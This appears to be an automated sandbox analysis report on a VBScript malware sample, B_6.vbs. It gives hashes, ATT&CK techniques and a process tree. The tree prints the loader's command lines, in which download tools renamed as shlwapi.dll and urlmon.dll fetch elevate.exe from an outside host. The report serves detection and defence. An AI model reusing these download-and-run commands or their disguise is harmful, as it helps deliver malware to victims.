c1cb59daa9f0b8e69834c1c58741aed94231ac930044e203b9706d888a4c98eb

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/07/2026, 12:18

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General

Target
B_6.vbs
Size 6KB
Sample260721-pg3bzavhke
SHA256 c1cb59daa9f0b8e69834c1c58741aed94231ac930044e203b9706d888a4c98eb
MD5 b762c63db79a6db5554ee69701e14a97
SHA1 efcde19c564bfd80bef8f7c347728ec9e06945bd
SHA512 9e66faf28b95a93f8f0907e5b3f67edb4b74ef520aee5516aa260569e74046b7417f636a82e3e639a4e579e32276d9b8d6fe01f44e2cc9e2dda080532e2056d2
SSDEEP 192:RnnrDmy9Ebi4iVPu6r974zxxv7CtSNoNc:Rnrfu+Nuk98z7pSO
TLSH
T1C7D1A7235A5EFBB5C2D5D14627B0940FBAC4623B0961783CB0EC4418FF91BA453E99E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5388	shlwapi.dll
1184	urlmon.dll

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5540	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4732	cmd.exe
4384	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5540 wrote to memory of 4732	5540	WScript.exe	90
PID 4732 wrote to memory of 5388	4732	cmd.exe	92
PID 5540 wrote to memory of 4384	5540	WScript.exe	93
PID 4384 wrote to memory of 1184	4384	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B_6.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_65065\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65065\elevate.exe" https://junjun888.ccwu.cc/6/elevate.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Users\Public\Documents\MSUpdate_65065\shlwapi.dll
    C:\Users\Public\Documents\MSUpdate_65065\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65065\elevate.exe" https://junjun888.ccwu.cc/6/elevate.exe
    3⤵
    - Executes dropped EXE
    PID:5388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_65065\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/6/elevate.exe "C:\Users\Public\Documents\MSUpdate_65065\elevate.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Users\Public\Documents\MSUpdate_65065\urlmon.dll
    C:\Users\Public\Documents\MSUpdate_65065\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/6/elevate.exe "C:\Users\Public\Documents\MSUpdate_65065\elevate.exe"
    3⤵
    - Executes dropped EXE
    PID:1184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

shlwapi.dll

Path C:\Users\Public\Documents\MSUpdate_65065\shlwapi.dll
Size 656KB
SHA256 730a34ae4cf82e32f676f0bcd81a418967a641b6e9b88d2ec5d8e668ff4d7838
MD5 c3977d6c9e8653f46697513c3ca50602
SHA1 0c7413848ee7e349d32f62dcb03c8327d0ddd12f
SHA512 a6bdda08856cc43534157c466685407c95f7c98a3ebc06c2296edb9cc3b0b5786c9d1fe3b0bbf29f3128fc3c94ed192949e941e82be03c0614f033f6380df228
SSDEEP 12288:zWGxtFZTeuri7uhoknAWwjjK/IwX+5bAIGIT09nj5:zKuKuOknhyO95IGI4nj5
TLSH
T1F1E48C5253B404EAD0ABC176C6539607F7F2F05A234093DB42E4CAAA2F477A25F3E791
MD5 SHA1 SHA512 SSDEEP TLSH

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urlmon.dll

Path C:\Users\Public\Documents\MSUpdate_65065\urlmon.dll
Size 236KB
SHA256 2b090bb7151bf87fc6fa36e13f509b5059a68e694eec2253f1ab74f9a7a0247b
MD5 48e11ce37a4b73911d61ca9db531e676
SHA1 29ee300acdae46792a4e1bdd012d0c7fa1c5d13f
SHA512 9b6767304c02ee07f28ae6f18a7bed5c1bac16812178ce76fd5b1892cb119c3a7f6d0b70b980ca6f24eb31f18b1a4da37a7e78994326ebda74d619ab8e440409
SSDEEP 3072:hR7pK9OSnSWNbSFKN9YWrSnFE55OO3+YTLsd0etQ2FO90j6i6L:hdpKRndkTPnFE55O+2/6i
TLSH
T1AB343C1523FA1568F5B2B7789EB58554CA33BC619B76C2DF0299412E0B73AD0AD30F32
MD5 SHA1 SHA512 SSDEEP TLSH

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads